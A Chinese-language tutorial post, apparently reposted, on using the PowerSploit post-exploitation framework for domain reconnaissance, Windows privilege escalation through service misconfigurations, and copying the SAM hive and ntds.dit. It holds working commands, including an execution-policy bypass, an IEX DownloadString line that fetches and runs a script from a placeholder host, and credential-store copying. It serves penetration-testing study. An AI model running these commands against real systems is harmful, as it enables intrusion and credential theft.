生活随笔
收集整理的這篇文章主要介紹了
PowerSploit脚本
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
PowerSploit
PowerSploit的用法
PowerView.ps1腳本的使用
PowerUp.ps1腳本的使用
Invoke-Allchecks模塊
Invoke-NinjaCopy.ps1腳本的使用
PowerSploit
PowerSploit是一款基于PowerShell的后滲透框架軟件,包含了很多PowerShell的攻擊腳本,它們主要用于滲透中的信息偵測,權限提升、權限維持等。PowerSploit項目地址:https://github.com/PowerShellMafia/PowerSploit
ActivirusBypass:發現殺毒軟件的查殺特征 CodeExecution:在目標主機上執行代碼 Exfiltration:目標主機上的信息搜集工具 Mayhem:藍屏等破壞性的腳本 Persistence:后門腳本 Privsec:提權等腳本 Recon:以目標主機為跳板進行內網信息偵查 ScriptModification:在目標主機上創建或修改腳本
本文主要講的是PowerSploit用于搜索域信息的模塊,其他模塊用法一致。
PowerSploit的用法
首先,我們想用里面哪個腳本,就先下載該腳本,然后導入該腳本,執行其中的模塊。我們以PowerView.ps1腳本為例,該腳本主要用于搜集域信息。
我們先下載PowerView.ps1腳本到本地,然后在當前目錄下打開cmd,執行以下命令執行PowerView.ps1腳本中的Get-NetDomain模塊,如果要執行該腳本的其他模塊,亦是如此
powershell -
exec bypass Import-Module .\powerview.ps1;Get-NetDomain
如果需要遠程加載模塊的話,我們先將PowerView.ps1放到我們的http服務目錄下,然后執行以下命令
powershell -exec bypass -c IEX (New-
Object System.Net.Webclient).DownloadString(
'http://xx.xx.xx.xx/powerview.ps1' );
import -
module .\powerview.ps1;Get-NetDomain
PowerView.ps1腳本的使用
PowerView.ps1腳本位于PowerSploit的Recon目錄下,該模塊主要用于域內信息的收集。
該腳本有以下一些模塊
Get-NetDomain Get-NetDomainController Get-NetForest Get-Netuser Get-NetUser | select name Get-NetGroup Get-NetGroup | select name Get-NetGroup *admin* | select name Get-NetGroup "Domain Admins" Get-NetGroup -UserName test Get-UserEvent Get-NetComputer Get-NetComputer | select name Get-Netshare Get-NetProcess Get-NetOU Get-NetFileServer Get-NetSession Get-NetRDPSESSION Get-NetGPO Get-ADOBJECT Get-DomainPolicy Invoke-UserHunter Invoke-EnumerateLocalAdmin Invoke-ProcessHunter Invoke-UserEventHunter
PowerUp.ps1腳本的使用
PowerUp.ps1腳本是 Privsec 目錄下的一個腳本,功能非常強大。擁有很多用來尋找目標主機Windows服務配置錯誤來進行提權的模塊。當我們無法通過 windows 內核漏洞進行提權的話,這個時候我們就可以利用該腳本來尋找目標主機上Windows服務配置錯誤來進行提權,或者利用常見的系統服務,通過其繼承的系統權限來完成提權。
我們來看下該腳本下模塊的功能:
Service Enumeration(服務枚舉)
Get -ServiceUnquoted 該模塊返回包含空格但是沒有引號的服務路徑的服務Get -ModifiableServiceFile 該模塊返回當前用戶可以修改服務的二進制文件或修改其配置文件的服務Get -ModifiableService 該模塊返回當前用戶能修改的服務Get -ServiceDetail 該模塊用于返回某服務的信息,用法:?Get -ServiceDetail?-servicename? 服務名
Service Abuse(服務濫用)?
Invoke -ServiceAbuse 該模塊通過修改服務來添加用戶到指定組,并可以通過設置 -cmd?參數觸發添加用戶的自定義命令Write -ServiceBinary 該模塊通過寫入一個修補的C #服務二進制文件,它可以添加本地管理程序或執行自定義命令,Write -ServiceBinary 與Install -ServiceBinary 不同之處自安于,前者生成可執行文件,后者直接安裝服務 Install -ServiceBinary 該模塊通過Write -ServiceBinary 寫一個C #的服務用來添加用戶,Restore -ServiceBinary 該模塊用于恢復服務的可執行文件到原始目錄,使用:Restore -ServiceBinary -servicename 服務名
DLL Hijacking(DLL注入)?
Find -ProcessDLLHijack 該模塊查找當前正在運行的進程潛在的dll劫持機會。Find -PathDLLHijack 該模塊用于檢查當前 %path% 的哪些目錄是用戶可以寫入的Write -HijackDll 該模塊可寫入可劫持的dll
Registry Checks(注冊審核)
Get -RegistryAlwaysInstallElevated 該模塊用于檢查AlwaysInstallElevated 注冊表項是否被設置,如果已被設置,則意味著SAM 文件是以System 權限運行的Get -RegistryAutoLogon 該模塊用于檢測Winlogin 注冊表的AutoAdminLogon 項是否被設置,可用于查詢默認的用戶名和密碼Get -ModifiableRegistryAutoRun 該模塊用于檢查開機自啟的應用程序路徑和注冊表鍵值,然后返回當前用戶可修改的程序路徑,被檢查的注冊表鍵值有以下: HKLM \Software \Microsoft \Windows \CurrentVersino \Run HKLM \Software \Microsoft \Windows \CurrentVersino \RunOnce HKLM \Software \Wow6432Node \Microsoft \Windows \CurrentVersion \Run HKLM \Software \Wow6432Node \Microsoft \Windows \CurrentVersion \RunOnce HKLM \Software \Wow6432Node \Microsoft \Windows \CurrentVersion \RunService HKLM \Software \Wow6432Node \Microsoft \Windows \CurrentVersion \RunOnceService HKLM \Software \Microsoft \Windows \CurrentVersion \RunService HKLM \Software \Microsoft \Windows \CurrentVersion \RunOnceService
Miscellaneous Checks(雜項審核)?
Get -ModifiableScheduledTaskFile 該模塊用于返回當前用戶能夠修改的計劃任務程序的名稱和路徑?Get -Webconfig 該模塊用于返回當前服務器上web.config文件中的數據庫連接字符串的明文Get -ApplicationHost 該模塊利用系統上的applicationHost.config文件恢復加密過的應用池和虛擬目錄的密碼Get -SiteListPassword 該模塊檢索任何已找到的McAfee的SiteList.xml文件的明文密碼Get -CachedGPPPassword 該模塊檢查緩存的組策略首選項文件中的密碼Get -UnattendedInstallFile 該模塊用于檢查以下路徑,查找是否存在這些文件,因為這些文件可能含有部署憑據?C:\sysprep\sysprep.xml C:\sysprep\sysprep.inf C:\sysprep.inf C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\System32\Sysprep\unattend.xml C:\Windows\System32\Sysprep\Panther\unattend.xml
Other Helpers/Meta-Functions(其他一些模塊的幫助)?
Get -ModifiablePath 該模塊標記輸入字符串并返回當前用戶可以修改的文件Get -CurrentUserTokenGroupSid 該模塊返回當前用戶參與的所有小島嶼發展中國家,無論它們是否已禁用。Add -ServiceDacl 該模塊將dacl字段添加到get -service返回的服務對象中Set -ServiceBinPath 該模塊通過Win 32 api方法將服務的二進制路徑設置為指定的值。Test -ServiceDaclPermission 該模塊用于檢查所有可用的服務,并嘗試對這些打開的服務進行修改。如果能修改,則返回該服務對象。使用:Test -ServiceDaclPermission -servicename 服務名Write -UserAddMSI 該模塊寫入一個MSI 安裝程序,提示要添加一個用戶。Invoke -AllChecks 該模塊會自動執行 PowerUp .ps1 下所有的模塊來檢查目標主機是否存在服務配置漏洞? ?
以下是這些模塊提權的原理:?
Get-ServiceUnquoted 模塊提權 (該模塊利用了Windows的一個邏輯漏洞,即當文件包含空格時,WindowsAPI會解釋為兩個路徑,并將這兩個文件同時執行,這個漏洞在有些時候會造成權限的提升)。 Test-ServiceDaclPermission 模塊提權 (該模塊會檢查所有可用的服務,并嘗試對這些打開的服務進行修改,如果可修改,則存在此漏洞)。Windows系統服務文件在操作系統啟動時會加載執行,并且在后臺調用可執行文件。比如在每次重啟系統時,Java升級程序都會檢測出Oracle網站是否有新版Java程序。而類似Java程序之類的系統服務程序,在加載時往往都是運行在系統權限上的。所以如果一個低權限的用戶對于此類系統服務調用的可執行文件具有可寫的權限,那么就可以將其替換成我們的惡意可執行文件,從而隨著系統啟動服務器獲得系統權限。。?
Invoke-Allchecks模塊
powershell -exec bypass -
c import -module .\PowerUp.ps1;Invoke-Allchecks -verbose
運行該腳本,該腳本會自動檢查PowerUp.ps1下所有的模塊,并在存在漏洞利用的模塊下的AbuseFunction中直接給出利用方法
Invoke-NinjaCopy.ps1腳本的使用
該腳本在Exfiltration目錄下,該文件的作用是復制一些系統無法復制的文件,比如sam文件。還可以在域環境中傳輸文件(前提是執行命令的用戶是域用戶)
注:該腳本需要管理員權限運行
復制文件
Import-Module .\Invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
域環境中傳輸文件
Copy-Item
'\\dc.offensive.local\C$\Users\administrator\Desktop\ntds.dit' -Destination
'\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'
未完待續。。。。。。。。。
參考書籍:《Web安全攻防-滲透測試實戰指南》
相關文章:PowerShell使用淺析
? ? ? ? ? ? ? ? ??PowerView:一個可以幫助你躲避檢測的內網信息收集腳本
?
總結
以上是生活随笔 為你收集整理的PowerSploit脚本 的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔 網站內容還不錯,歡迎將生活随笔 推薦給好友。